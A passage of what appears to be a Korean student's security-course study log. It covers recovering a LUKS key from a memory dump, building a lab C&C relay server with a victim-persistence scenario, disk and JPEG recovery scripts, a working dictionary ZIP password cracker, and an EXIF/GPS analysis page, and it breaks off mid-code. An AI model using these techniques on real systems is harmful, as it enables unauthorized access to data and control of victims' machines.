echo -n "fb2b11126c7cc0d9e32b96759b7cd7f8b8609f23b5315d772fe41c33053017d12aa52ff521de567d8b3b2c7baaa26266d8544f44158cdf973784b93041398195" | xxd -r -p > master_reverse.key
sudo cryptsetup open --type luks --master-key-file master_reverse.key vault.img target_vault
cd /dev/mapper/
target_vault가 생성되어 있다
sudo mkdir -p /mnt/vault
sudo mount /dev/mapper/target_vault /mnt/vault
cd /dev
ls
키 값은 어디서 구한건데??
메모리를 긁어왔다
DFC2026_L-15f1e2a0.vmem
sudo apt install -y build-essential wget unzip
wget https://downloads.sourceforge.net/project/findaes/findaes-1.2.zip
unzip findaes-1.2.zip
cd findaes-1.2
make
./findaes ../DFC2026_L-15f1e2a0.vmem> Searching ../DFC2026_L-15f1e2a0.vmem Found AES-256 key schedule at offset 0x3906030: 2a a5 2f f5 21 de 56 7d 8b 3b 2c 7b aa a2 62 66 d8 54 4f 44 15 8c df 97 37 84 b9 30 41 39 81 95 Found AES-256 key schedule at offset 0x3906220: fb 2b 11 12 6c 7c c0 d9 e3 2b 96 75 9b 7c d7 f8 b8 60 9f 23 b5 31 5d 77 2f e4 1c 33 05 30 17 d1 Found AES-256 key schedule at offset 0x285e10d0: 9d 99 7f 25 4c 5b 90 88 fa 6f 22 5f fc f5 c1 4c 98 60 fe 0e 21 63 ac ca db 26 d0 72 7e 40 2c cf Found AES-256 key schedule at offset 0x285e12c0: 9d 99 7f 25 4c 5b 90 88 fa 6f 22 5f fc f5 c1 4c 98 60 fe 0e 21 63 ac ca db 26 d0 72 7e 40 2c cf Found AES-256 key schedule at offset 0x285e16a0: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f Found AES-256 key schedule at offset 0x285e1c70: f7 4c ca 29 e7 b2 bb 50 c6 ba 63 21 be 65 3b 8e 71 31 da 42 af eb 2f 3c a0 83 d5 e5 59 33 1a e9 Found AES-256 key schedule at offset 0x3f7d30e0: f7 4c ca 29 e7 b2 bb 50 c6 ba 63 21 be 65 3b 8e 71 31 da 42 af eb 2f 3c a0 83 d5 e5 59 33 1a e9 Found AES-256 key schedule at offset 0x3f7d32d0: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f Found AES-256 key schedule at offset 0x3fdcb4b0: 1e f3 48 74 63 ea 6e fe c3 58 88 c2 7f f8 a6 e6 66 47 61 67 60 50 f3 82 a1 2e 53 e9 1b ca ac e6 Found AES-256 key schedule at offset 0x3fdcb6a0: 1e f3 48 74 63 ea 6e fe c3 58 88 c2 7f f8 a6 e6 66 47 61 67 60 50 f3 82 a1 2e 53 e9 1b ca ac e6 Found AES-256 key schedule at offset 0x3fdcba80: 00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f
103번 문제 분석
외부 C&C 통신이 탐지되었다
C&C가 뭔데
감염된 좀비 PC가 해커가 원하는 공격을 수행하도록 원격지에서 명령을 내리거나, 악성코드를 제어하는 서버다
왜 사용하는데? 해커의 ip가 노출되는것을 막기 위해서 중계서버를 사용한다
공격이 끝나면 중계서버를 폐기
중계서버를 만들어보자
개인서버(ip020)에서 진행
mysite로 가상환경 진입
Anaconda3-2025.12-2-Linux-x86_64.sh 업로드
왜? messageRelayServer.py는 python2버전대로 맞춰졌기 떄문
bash Anaconda3-2025.12-2-Linux-x86_64.sh
설치 과정중에 에러가 나온다
읽어보니 용량이 부족한것
용량을 확장시켜주자 어떻게? LVM을 이용해서
sudo pvcreate /dev/sdg
sudo vgextend ubuntu-vg /dev/sdg
sudo lvextend -l +100%FREE /dev/ubuntu-vg/ubuntu-lv
sudo resize2fs /dev/ubuntu-vg/ubuntu-lv
df -h /
lsblkNAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINTS sda 8:0 0 16G 0 disk ├─sda1 8:1 0 1M 0 part ├─sda2 8:2 0 1.8G 0 part /boot └─sda3 8:3 0 14.2G 0 part └─ubuntu--vg-ubuntu--lv 252:0 0 34.2G 0 lvm / sdb 8:16 0 1G 0 disk sdc 8:32 0 1G 0 disk sdd 8:48 0 1G 0 disk sde 8:64 0 2G 0 disk sdf 8:80 0 3G 0 disk sdg 8:96 0 20G 0 disk └─ubuntu--vg-ubuntu--lv 252:0 0 34.2G 0 lvm / sr0 11:0 1 3.1G 0 rom
ubuntu--vg-ubuntu--lv로 잘 묶여있다
오늘 한 일
서버 보안 점검 하기
LUKS를 이용한 디스크 암호화
Anaconda 설치
내일 할 일
Anaconda를 사용해서 C&C서버망 구축
2026-07-22
Anaconda설치 및 코드 분석
›
Anaconda 재설치
서버가 용량이 없어서 폭파당했다
새로운 VirtualBox를 만들어주자
이름 : RS, 용량 : 50G
/home/master에 아나콘다 재설치
conda init이 뜨면 yes
reboot 후 (base)라고 나오면 정상
mkdir placeholder
cd placeholder
messageRelayServer.py 끌어다 놓기
conda create -n py2 python=2.7
conda activate py2
conda env list
python messageRelayServer.pyTraceback (most recent call last): File "messageRelayServer.py", line 5, infrom packet import Packet
packet.py 가져다 놓기
python messageRelayServer.py
쉘 떨어지면 작동 되는중
netstat -antActive Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 127.0.0.1:6010 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:6011 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:5720 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:5715 0.0.0.0:* LISTEN tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN tcp 0 0 127.0.0.54:53 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 10.0.2.15:22 192.168.0.205:59878 ESTABLISHED tcp 0 0 10.0.2.15:22 192.168.0.205:60005 ESTABLISHED tcp6 0 0 ::1:6011 :::* LISTEN tcp6 0 0 ::1:6010 :::* LISTEN
5720,5715번이 붙음
가상환경에서 나가고 싶으면?
conda deactivate
NAT 네트워크에서 5720,5715 포트포워딩
VScode에서 Client.py 실행
서버에서 확인해보면192.168.0.205 connected! Exception in thread Thread-1: Traceback (most recent call last): File "/home/master/anaconda3/envs/py2/lib/python2.7/threading.py", line 801, in __bootstrap_inner self.run() File "/home/master/anaconda3/envs/py2/lib/python2.7/threading.py", line 754, in run self.__target(*self.__args, **self.__kwargs) File "messageRelayServer.py", line 43, in runClient self.onClientConnect(client,address) File "messageRelayServer.py", line 104, in onClientConnect self.sendIPList(address) File "messageRelayServer.py", line 62, in sendIPList pkt.encryptData(self.AESKey) AttributeError: 'Packet' object has no attribute 'encryptData'
에러가 뜨지만 반응은 한다
python2.7 -m pip install pycryptodome
시나리오 분석
Hacker가 C&C서버로 오는 Client.py를 Victim에게 심음
Victim이 시스템 시작시 Client.py가 자동으로 같이 시작됨
Client.py는 C&C 서버로 Victim을 유도
Hacker는 Tool을 이용해서 C&C서버에 명령을 내림
C&C서버는 명령을 Victim에게 설치된 Client.py로 전달
Victim은 악성 행위를 당함
로그를 분석해보니 C&C서버로 유도되어있어 Hacker를 찾을 수 없음
오늘 한 일
Anaconda 설치하기
Client.py와 Virus.py를 구동시키고 확인하기
placeholder에 있는 코드들 분석하기
내일 할 일
내부망에서 C&C서버를 이용한 공격실습
2026-07-23
제목 양식
›
내용
내용을 입력해주세요
오늘 한 일
내일 할 일
2026-07-24
제목 양식
›
내용
내용을 입력해주세요
오늘 한 일
내일 할 일
2026-07-25
제목 양식
›
내용
내용을 입력해주세요
오늘 한 일
내일 할 일
2026-07-27
DISK에서 파일 찾기
›
USB를 비정상적으로 만들어보자
Active disk editor
Edit을 눌러 파일시스템, 시작 섹터, 섹터 크기 부분을 0으로 손상
USB를 뽑았다가 다시 인식시켜보면?
당연히 인식되지 않는다
FTK Imager에서 손상시킨 USB를 불러오기
Row로 Image를 만든다음 직접 만든 프로그램을 복구시켜보기
ence.E01
P1 : 63, 4306175
P2 : 4306239
disk4.py#!/usr/bin/env python3 """ 13th.E01 MBR 분석 + 멀티 파일시스템(FAT32, NTFS, exFAT) 복구 및 Raw(.dd) 변환기 -------------------------------------------------------------------------- 외부 도구 없이 순수 파이썬으로 E01을 파싱하여 원본 raw 바이트를 복원하고, MBR 및 미할당 구간에서 FAT32, NTFS, exFAT 부트섹터를 정밀 탐색·필터링한 뒤, 최종 복구된 디스크 이미지를 완벽한 Raw 이미지(.dd)로 저장합니다. 사용법: python3 13th_repair_to_raw.py <입력.E01> <출력복구이미지.dd> """ import sys import os import struct import zlib import hashlib SECTOR_SIZE = 512 SECTION_DESC_SIZE = 76 # ============================================================ # 1) EWF(E01) 리더 : E01 -> raw bytes # ============================================================ def parse_sections(data): sections = [] offset = 13 # 13바이트 파일 헤더 다음부터 섹션 시작 while offset < len(data): desc = data[offset:offset + SECTION_DESC_SIZE] if len(desc) < SECTION_DESC_SIZE: break stype = desc[0:16].split(b"\x00")[0].decode("ascii", "replace") next_off = struct.unpack("<Q", desc[16:24])[0] size = struct.unpack("<Q", desc[24:32])[0] sections.append({"offset": offset, "type": stype, "next": next_off, "size": size}) if stype == "done" or next_off <= offset: break offset = next_off return sections def read_ewf_e01(path): with open(path, "rb") as f: data = f.read() if data[0:8] != b"EVF\x09\x0d\x0a\xff\x00": raise ValueError("EWF(E01) 시그니처가 아닙니다. 지원하지 않는 파일 형식입니다.") sections = parse_sections(data) sec_by_type = {} for s in sections: sec_by_type.setdefault(s["type"], []).append(s) if "table" not in sec_by_type: raise ValueError("table 섹션을 찾을 수 없습니다.") if "sectors" not in sec_by_type: raise ValueError("sectors 섹션을 찾을 수 없습니다.") raw_chunks = [] for sectors_sec, table_sec in zip(sec_by_type["sectors"], sec_by_type["table"]): table_off = table_sec["offset"] header_off = table_off + SECTION_DESC_SIZE num_entries = struct.unpack("<I", data[header_off:header_off + 4])[0] entries_off = header_off + 24 entries = [] for i in range(num_entries): raw_val = struct.unpack( "<I", data[entries_off + i * 4: entries_off + i * 4 + 4] )[0] compressed = bool(raw_val & 0x80000000) chunk_off = raw_val & 0x7FFFFFFF entries.append((chunk_off, compressed)) end_of_sectors_data = table_off for i, (chunk_off, compressed) in enumerate(entries): start = chunk_off end = entries[i + 1][0] if i + 1 < len(entries) else end_of_sectors_data chunk_bytes = data[start:end] if compressed: dec = zlib.decompress(chunk_bytes) else: dec = chunk_bytes[:-4] raw_chunks.append(dec) raw = b"".join(raw_chunks) return raw # ============================================================ # 2) MBR 분석 # ============================================================ def analyze_mbr(raw): print("=" * 70) print("[1] MBR(섹터 0) 분석") print("=" * 70) mbr = raw[0:512] boot_code = mbr[0:446] sig = mbr[510:512] boot_is_zero = boot_code == b"\x00" * 446 print(f"- 부트코드 영역(0x000~0x1BD) 전부 0 여부 : {boot_is_zero}") valid_sig = sig == bytes([0x55, 0xAA]) print(f"- 부트 시그니처(0x1FE~0x1FF) : {sig.hex()} ({'정상' if valid_sig else '비정상'})") entries = [] print("\n- 파티션 테이블 (4개 엔트리)") for i in range(4): off = 446 + i * 16 e = mbr[off:off + 16] ptype = e[4] lba_start = struct.unpack("<I", e[8:12])[0] num_sectors = struct.unpack("<I", e[12:16])[0] is_empty = e == b"\x00" * 16 entries.append(dict(type=ptype, lba_start=lba_start, num_sectors=num_sectors, empty=is_empty)) end = lba_start + num_sectors - 1 if num_sectors else None print(f" Entry{i+1}: type=0x{ptype:02x} start={lba_start} " f"sectors={num_sectors} end={end} " f"{'(비어있음/삭제됨)' if is_empty else ''}") return entries def find_gaps(entries, total_sectors): used = sorted( (e["lba_start"], e["lba_start"] + e["num_sectors"]) for e in entries if not e["empty"] and e["num_sectors"] > 0 ) gaps, cursor = [], 0 for start, end in used: if start > cursor: gaps.append((cursor, start)) cursor = max(cursor, end) if cursor < total_sectors: gaps.append((cursor, total_sectors)) return gaps # ============================================================ # 3) 파일 시스템 부트섹터 탐색 + 필터링 로직 (FAT32, NTFS, exFAT) # ============================================================ def check_filesystem_boot_sector(sec): if len(sec) < 512 or sec[510:512] != b"\x55\xaa": return None, 0, 0 # NTFS 검사 if sec[3:11] == b"NTFS " and sec[0] in (0xEB, 0xE9): total_sectors_ntfs = struct.unpack("<Q", sec[40:48])[0] return "NTFS", 0x07, total_sectors_ntfs # exFAT 검사 if sec[3:10] == b"EXFAT ": total_sectors_exfat = struct.unpack("<Q", sec[72:80])[0] return "exFAT", 0x07, total_sectors_exfat # FAT32 검사 if sec[0] in (0xEB, 0xE9) and b"FAT32" in sec[82:90]: bytes_per_sector = struct.unpack("<H", sec[11:13])[0] spc = sec[13] num_fats = sec[16] fat_sz32 = struct.unpack("<I", sec[36:40])[0] if bytes_per_sector == 512 and spc > 0 and num_fats in (1, 2) and fat_sz32 > 0: total_sectors_fat32 = struct.unpack("<I", sec[32:36])[0] return "FAT32", 0x0C, total_sectors_fat32 return None, 0, 0 def scan_for_hidden_partitions(raw, gaps, total_disk_sectors): print("\n" + "=" * 70) print("[2] 미할당 구간에서 유효한 파일 시스템 부트섹터 탐색 (백업/중복 필터링 적용)") print("=" * 70) candidates = [] for gap_start, gap_end in gaps: print(f"- 스캔 구간: 섹터 {gap_start} ~ {gap_end - 1}") sector = gap_start while sector < gap_end: sec = raw[sector * SECTOR_SIZE: sector * SECTOR_SIZE + SECTOR_SIZE] fs_name, ptype, tot_sectors = check_filesystem_boot_sector(sec) if fs_name and tot_sectors > 0: if sector + tot_sectors <= total_disk_sectors: print(f" [후보 발견] 섹터 {sector} [{fs_name}] (크기: {tot_sectors} 섹터)") candidates.append((sector, tot_sectors, ptype)) # 백업 부트섹터 오인식 방지를 위한 스캔 점프 sector += 1024 continue sector += 1 filtered = [] for start, count, ptype in sorted(candidates, key=lambda x: x[0]): overlap = False for f_start, f_count, _ in filtered: f_end = f_start + f_count current_end = start + count if not (current_end <= f_start or start >= f_end): overlap = True break if not overlap: filtered.append((start, count, ptype)) print(f" => [확정] 유효 파티션 등록: start={start}, sectors={count}, type=0x{ptype:02X}") else: print(f" => [제외] 중복/백업 영역으로 판별되어 무시됨: start={start}") return filtered def lba_to_chs(lba, heads=64, spt=32): cyl = lba // (heads * spt) head = (lba // spt) % heads sector = (lba % spt) + 1 if cyl > 1023: cyl, head, sector = 1023, 254, 63 b1 = head & 0xFF b2 = ((cyl >> 8) & 0x3) << 6 | (sector & 0x3F) b3 = cyl & 0xFF return bytes([b1, b2, b3]) def build_partition_entry(start, count, ptype, active=False): status = 0x80 if active else 0x00 return ( bytes([status]) + lba_to_chs(start) + bytes([ptype]) + lba_to_chs(start + count - 1) + struct.pack("<I", start) + struct.pack("<I", count) ) def repair_mbr(raw, found): raw = bytearray(raw) for i, (start, count, ptype) in enumerate(found): if i >= 4: break entry = build_partition_entry(start, count, ptype, active=False) off = 446 + i * 16 cur = raw[off:off + 16] if cur == b"\x00" * 16: raw[off:off + 16] = entry print(f" -> Entry{i+1} 복원: start={start} sectors={count} type=0x{ptype:02X}") return bytes(raw) # ============================================================ # main # ============================================================ def main(): if len(sys.argv) != 3: print(f"사용법: python3 {sys.argv[0]} <입력.E01> <출력복구이미지.dd / .001>") sys.exit(1) in_path, out_path = sys.argv[1], sys.argv[2] print(f"[*] '{in_path}' 파싱 중 (E01 컨테이너 직접 해석)...") raw = read_ewf_e01(in_path) total_sectors = len(raw) // SECTOR_SIZE print(f"[*] 복원된 원본 디스크 크기: {len(raw)} bytes ({total_sectors} 섹터)\n") entries = analyze_mbr(raw) gaps = find_gaps(entries, total_sectors) found = scan_for_hidden_partitions(raw, gaps, total_sectors) if not found: print("\n복구할 은닉 파티션을 찾지 못해 종료합니다.") sys.exit(2) print("\n" + "=" * 70) print("[3] MBR 파티션 테이블 복구") print("=" * 70) repaired_raw = repair_mbr(raw, found) print("\n" + "=" * 70) print(f"[4] 복구된 이미지를 Raw 이미지로 저장: {out_path}") print("=" * 70) with open(out_path, "wb") as out: out.write(repaired_raw) md5 = hashlib.md5(repaired_raw).hexdigest() sha1 = hashlib.sha1(repaired_raw).hexdigest() print(f"[+] Raw 이미지 저장 완료!") print(f" MD5 : {md5}") print(f" SHA1: {sha1}") print(f"\n안내: 생성된 '{out_path}' 파일을 FTK Imager, Autopsy 등에 직접 드래그앤드롭하여 열어보세요.") if __name__ == "__main__": main()
NTFS의 복구섹터는 가장 마지막에 있음
FAT32의 복구섹터는 6번째에 있음
마지막 섹터를 어떻게 알아내는 거지?
VBR에 그 정보가 들어있다
Autopsy로 복구시킨 이미지 2개(13th,ence) 불러오기
파일 분석 및 찾기
findx.gif를 찾아라!
분석기법 이해하기
확장자
키워드
No files were indexed
data 우클릭
run ingest modules
keyword search 추가
global settings
keyword lists에서 findx 추가
keyword는 findx,findx.gif
findx.gif.ln은 있는데 findx.gif는 보이지 않는다
시그니처
MBR : ntfs + 55 AA
VBR : ntfs + 55 AA
tools > options > file types > 확장자와 시그니처 설정 가능
gif :
Header(HEX)
47 49 46 38
Trailer(HEX)
00 3B
jpg :
Header(HEX)
FF D8
Trailer(HEX)
FF D9
USB의 불륨을 전부 합친후 포멧시키기
GPS 정보가 담긴 사진을 넣기
다시 USB 빠른 포멧
미션!
USB에 저장되어 있는 jpg를 찾아라!
disk5.py#!/usr/bin/env python3 """ Simple JPEG File Carver in Python (Auto-Output Directory) -------------------------------------------------- 포맷된 USB의 Raw 이미지(.dd)에서 JPG 시그니처를 스캔하여 복구합니다. 사용법: 1) python3 disk4.py <디스크이미지.dd> (현재 경로에 carved_output 자동 생성) 2) python3 disk4.py <디스크이미지.dd> <저장할폴더경로> """ import sys import os import re # JPG 파일의 시작(SOI)과 끝(EOI) 바이트 패턴 정의 JPEG_SOF = b'\xff\xd8\xff' JPEG_EOF = b'\xff\xd9' def carve_jpegs(image_path, output_dir): if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"[*] 출력 폴더 생성됨: {output_dir}") print(f"[*] 대상 이미지 로딩 중: {image_path}") with open(image_path, 'rb') as f: data = f.read() print(f"[*] 이미지 크기: {len(data):,} bytes") print("[*] JPEG 시작/끝 시그니처 탐색 중...") # 정규식을 이용해 모든 시작점과 끝점 오프셋(Offset) 찾기 sof_matches = [match.start() for match in re.finditer(re.escape(JPEG_SOF), data)] eof_matches = [match.start() for match in re.finditer(re.escape(JPEG_EOF), data)] print(f"[-] 발견된 시작 시그니처(SOF) 개수: {len(sof_matches)}") print(f"[-] 발견된 종료 시그니처(EOI) 개수: {len(eof_matches)}") carved_count = 0 for start_offset in sof_matches: valid_eofs = [e for e in eof_matches if e > start_offset] if valid_eofs: end_offset = valid_eofs[0] + 2 # EOI 마커 2바이트 포함 file_size = end_offset - start_offset if 100 < file_size < 10 * 1024 * 1024: jpeg_data = data[start_offset:end_offset] output_file = os.path.join(output_dir, f"carved_{start_offset}_{file_size}.jpg") with open(output_file, 'wb') as out: out.write(jpeg_data) print(f" [+] 복구 성공: {output_file} ({file_size} bytes)") carved_count += 1 print(f"\n[+] 총 {carved_count}개의 JPG 파일을 성공적으로 복구했습니다.") def main(): # 인자가 1개(스크립트명 제외하고 이미지 파일만 지정) 또는 2개일 때 모두 허용 if len(sys.argv) < 2 or len(sys.argv) > 3: print(f"사용법: python3 {sys.argv[0]} <디스크이미지.dd> [저장할폴더경로]") sys.exit(1) image_path = sys.argv[1] # 두 번째 인자가 없으면 스크립트 실행 위치에 'carved_output' 폴더 자동 지정 if len(sys.argv) == 3: output_dir = sys.argv[2] else: output_dir = "carved_output" carve_jpegs(image_path, output_dir) if __name__ == "__main__": main()
다시 Autospy로 돌아와서 내장되어있는 카빙 기능을 사용해보자
run ingest modules
potorec carver
Focus on certain file types 체크
Include only the specified types
Types = gif
Finish
해주면? 파일 카빙이 돌아간다
기다렸더니 ence/vol4 안에
$CarvedFiles라는 폴더가 새로 생겼다
열어서 확인해보니? f0000112.gif가 있다
눌러보면? 찾으러 다녔던 findx image가 여기 있다!
우분투 26.04 GUI
newmar.jpg를 찾아라!
키워드 분석을 해보면?
나오지 않는다
autoexec.bat을 찾아보자
autoexec.bat의 HAX값을 확인해보니 50 4B로 시작한다
zip : 50 4B
아 이건 .bat파일이 아니라 .zip파일이구나!
autoexec.bat의 이름을 autoexec.zip으로 변경
압축을 풀어주면!!!
암호가 걸려있다?
파일 암호 해제
미션!
압축파일에 걸려있는 암호를 찾는 파이썬 코드를 완성해라!
암호 목록Don't forget Julie Newmar in Gotham City Central Park! Don't forget Julie Newmar in Gotham City Central Park! Don't forget Julie Newmar in Gotham City Central Park! Don't forget Julie Newmar in Gotham City Central Don't forget Julie Newmar in Gotham City Central Park! Don't forget Julie Newmar in Gotham
disk5.py#!/usr/bin/env python3 """ AES-Supported ZIP Password Cracker & Auto-Extractor (Dynamic Folder Name) -------------------------------------------------- 사용법: python3 zip_cracker_aes.py <대상.zip> <암호목록.txt> """ import sys import os import pyzipper def crack_and_extract_zip(zip_path, wordlist_path): if not os.path.exists(zip_path) or not os.path.exists(wordlist_path): print("[-] 파일 경로를 확인해주세요.") return # 대상 ZIP 파일의 절대 경로 및 디렉터리 추출 abs_zip_path = os.path.abspath(zip_path) zip_dir = os.path.dirname(abs_zip_path) zip_filename = os.path.basename(abs_zip_path) # 확장자(.zip 등)를 제외한 파일명 추출 (예: "secret.zip" -> "secret") base_name = os.path.splitext(zip_filename)[0] # 동일한 경로에 파일명과 같은 이름의 폴더 경로 설정 output_dir = os.path.join(zip_dir, base_name) print(f"[*] 대상 ZIP: {zip_path}") print(f"[*] 암호 목록: {wordlist_path}") print(f"[*] 해제될 폴더: {output_dir}\n") try: with pyzipper.AESZipFile(zip_path, 'r') as zf: with open(wordlist_path, 'r', encoding='utf-8', errors='ignore') as wf: passwords = wf.readlines() total_passwords = len(passwords) print(f"[-] 총 {total_passwords}개의 암호 후보 대입 시작...\n") found_password = None for index, password in enumerate(passwords, 1): password = password.strip() if not password or password.startswith('#'): continue sys.stdout.write(f"\r[*] 진행 중 ({index}/{total_passwords}): 시도 중 -> {password}") sys.stdout.flush() try: zf.setpassword(password.encode('utf-8')) # 검증을 위해 첫 번째 파일 테스트 first_file = zf.namelist()[0] zf.read(first_file) found_password = password print(f"\n\n[+] 성공! 암호를 찾았습니다: [ {password} ]") break except Exception: continue if found_password: # 폴더가 없으면 생성 if not os.path.exists(output_dir): os.makedirs(output_dir) print(f"[*] '{output_dir}' 폴더에 압축을 해제하는 중...") zf.extractall(path=output_dir, pwd=found_password.encode('utf-8')) print(f"[+] 압축 해제가 완료되었습니다!") else: print("\n\n[-] 실패: 목록 중에 일치하는 암호가 없습니다.") except Exception as e: print(f"\n[-] 오류 발생: {e}") def main(): if len(sys.argv) != 3: print(f"사용법: python3 {sys.argv[0]} <대상.zip> <암호목록.txt>") sys.exit(1) crack_and_extract_zip(sys.argv[1], sys.argv[2]) if __name__ == "__main__": main()
[*] 대상 ZIP: Autoexec.zip
[*] 암호 목록: gordam.txt
[*] 해제될 폴더: D:\ST6\Autoexec
[-] 총 22개의 암호 후보 대입 시작...
[*] 진행 중 (11/22): 시도 중 -> Julie Newmar
[+] 성공! 암호를 찾았습니다: [ Julie Newmar ]
[*] 'D:\ST6\Autoexec' 폴더에 압축을 해제하는 중...
[+] 압축 해제가 완료되었습니다!
암호를 찾고 압축을 해제해준다!
안에 들어있는 파일을 확인해 보면?
JulieCat.jpg과 JulieNewmar.jpg파일이 들어있다
오늘 한 일
USB 복구시키기
특정 파일 찾기
carving
내일 할 일
2026-07-29
포렌식 툴 제작 및 시나리오 확인
›
개인서버(192.168.0.20)에 포렌식 분석기능 만들기
먼저 포렌식 분석 메뉴 추가
__init__.py에
app.register_blueprint(forensic.bp) 추가
이미지 메타정보를 추출해주는 페이지부터 추가해주자
templates/forensic/picture.html 생성{% extends 'base.html' %} {% block content %} <!-- Leaflet CSS 추가 (지도를 예쁘게 그려주는 라이브러리) --> <link rel="stylesheet" href="https://unpkg.com/leaflet@1.9.4/dist/leaflet.css" integrity="sha256-p4NxAoJBhIIN+hmNHrzRCf9tD/miZyoHS5obTRR9BMY=" crossorigin=""/> <div class="container-fluid px-4 py-4"> <!-- 페이지 제목 --> <h2 class="mb-4">📸 이미지 포렌식 분석</h2> <p class="text-muted">사진 파일을 업로드하여 EXIF 메타데이터, 촬영 정보, 위치(GPS) 등의 포렌식 정보를 확인하세요.</p> <div class="row"> <!-- 업로드 폼 영역 --> <div class="col-lg-5 mb-4"> <div class="card shadow-sm"> <div class="card-header bg-primary text-white"> <h5 class="mb-0">사진 업로드</h5> </div> <div class="card-body"> <form action="/forensic/picture" method="POST" enctype="multipart/form-data"> <div class="mb-3"> <label for="formFile" class="form-label">분석할 이미지 선택 (JPG, PNG 등)</label> <input class="form-control" type="file" id="formFile" name="image" accept="image/*" required onchange="previewImage(event)"> </div> <div class="mb-3 text-center"> <div class="border rounded p-2 bg-light" style="min-height: 200px; display: flex; align-items: center; justify-content: center;"> <img id="imagePreview" src="#" alt="이미지 미리보기" style="max-width: 100%; max-height: 250px; display: none;" /> <span id="previewPlaceholder" class="text-muted">이미지를 선택하면 미리보기가 표시됩니다.</span> </div> </div> <button type="submit" class="btn btn-success w-100">🔍 포렌식 분석 시작</button> </form> </div> </div> </div> <!-- 분석 결과 출력 영역 --> <div class="col-lg-7"> <div class="card shadow-sm mb-4"> <div class="card-header bg-dark text-white"> <h5 class="mb-0">포렌식 분석 결과</h5> </div> <div class="card-body"> {% if metadata %} <div class="table-responsive" style="max-height: 300px; overflow-y: auto;"> <table class="table table-striped table-bordered align-middle mb-0"> <thead class="table-dark sticky-top"> <tr> <th style="width: 35%;">항목 (Tag)</th> <th>값 (Value)</th> </tr> </thead> <tbody> {% for key, value in metadata.items() %} <tr> <td><strong>{{ key }}</strong></td> <td>{{ value }}</td> </tr> {% endfor %} </tbody> </table> </div> {% if gps_info %} <!-- 위치 정보(GPS) 및 지도 표시 영역 --> <div class="alert alert-info mt-3 mb-3" role="alert"> <h6 class="alert-heading fw-bold">📍 GPS 위치 정보 감지됨</h6> <p class="mb-0">위도: {{ gps_info.latitude }} / 경도: {{ gps_info.longitude }}</p> </div> <div class="card border-info"> <div class="card-header bg-info text-white">촬영 위치 지도</div> <div class="card-body p-2"> <!-- 지도가 그려질 DOM 영역 --> <div id="map" style="width: 100%; height: 350px !important; display: block; border-radius: 4px;"></div> </div> </div> {% endif %} {% else %} <div class="text-center py-5 text-muted"> <p>아직 분석된 데이터가 없습니다.<br>사진을 업로드하고 분석 버튼을 눌러주세요.</p> </div> {% endif %} </div> </div> </div> </div> </div> <!-- Leaflet JS 스크립트 추가 --> <!-- Leaflet JS 스크립트 (무결성 검사 코드 포함) --> <script src="https://unpkg.com/leaflet@1.9.4/dist/leaflet.js" integrity="sha256-20nQCchB9co0qIjJZRGuk2/Z9VM+kNiyxNV1lvTlZBo=" crossorigin=""></script> <script> function previewImage(event) { const reader = new FileReader(); reader.onload = function() { const output = document.getElementById('imagePreview'); const placeholder = document.getElementById('previewPlaceholder'); output.src = reader.result; output.style.display = 'block'; placeholder.style.display = 'none'; }; reader.readAsDataURL(event.target.files[0]); } // 만약 파이썬에서 gps_info 데이터를 넘겨주었다면 지도를 생성합니다. {% if gps_info %} document.addEventListener("DOMContentLoaded", function() { const lat = {{ gps_info.latitude }}; const lon = {{ gps_info.longitude }}; // 지도 생성 (중심 좌표를 사진의 위도, 경도로 설정, 확대 줌은 15) const map = L.map('map').setView([lat, lon], 15); // 오픈스트리트맵 타일 레이어 입히기 L.tileLayer('https://{s}.tile.openstreetmap.org/{z}/{x}/{y}.png', { maxZoom: 19, attribution: '© OpenStreetMap contributors' }).addTo(map); // 마커 꽂기 L.marker([lat, lon]).addTo(map) .bindPopup('<b>사진 촬영 위치</b><br>위도: ' + lat + '<br>경도: ' + lon) .openPopup(); }); {% endif %} </script> {% endblock %}
서버에서 pip install Pillow
views/forensic.py에 함수 추가def get_image_metadata(image_path): metadata = {} gps_data = {} # 🇰🇷 영어 EXIF 태그를 한국어로 바꿔주는 매핑 사전 korean_tags = { 'ImageWidth': '이미지 너비', 'ImageLength': '이미지 높이', 'Image Format': '이미지 형식', 'Image Size': '이미지 크기', 'Make': '제조사 (카메라)', 'Model': '모델명', 'Software': '소프트웨어 버전', 'DateTime': '촬영 일시', 'DateTimeOriginal': '최초 촬영 일시', 'DateTimeDigitized': '디지털화 일시', 'ExifOffset': 'EXIF 오프셋', 'ResolutionUnit': '해상도 단위', 'XResolution': '가로 해상도', 'YResolution': '세로 해상도', 'ExposureTime': '노출 시간 (셔터스피드)', 'FNumber': '조리개 값 (F번)', 'ISOSpeedRatings': 'ISO 감도', 'Flash': '플래시 여부', 'FocalLength': '초점 거리', 'LensMake': '렌즈 제조사', 'LensModel': '렌즈 모델명', 'Error': '에러' } try: image = Image.open(image_path) exif_raw = image._getexif() if exif_raw: for tag_id, value in exif_raw.items(): tag = TAGS.get(tag_id, tag_id) # GPS 정보 따로 분리 if tag == "GPSInfo": for gps_tag_id, gps_value in value.items(): gps_tag = GPSTAGS.get(gps_tag_id, gps_tag_id) gps_data[gps_tag] = gps_value else: # 한국어 번역 이름이 있으면 그것을 쓰고, 없으면 원래 영어 태그 이름 사용 translated_key = korean_tags.get(str(tag), str(tag)) metadata[translated_key] = str(value) # 기본적인 이미지 정보 추가 (한국어로 매핑 적용) metadata[korean_tags.get('Image Format', 'Image Format')] = image.format metadata[korean_tags.get('Image Size', 'Image Size')] = f"{image.width} x {image.height} pixels" except Exception as e: metadata['에러'] = f"메타데이터를 읽을 수 없습니다: {str(e)}" return metadata, gps_data # GPS 위도/경도를 도(Degree) 단위로 변환하는 함수 def convert_gps_to_decimal(gps_info): try: lat = 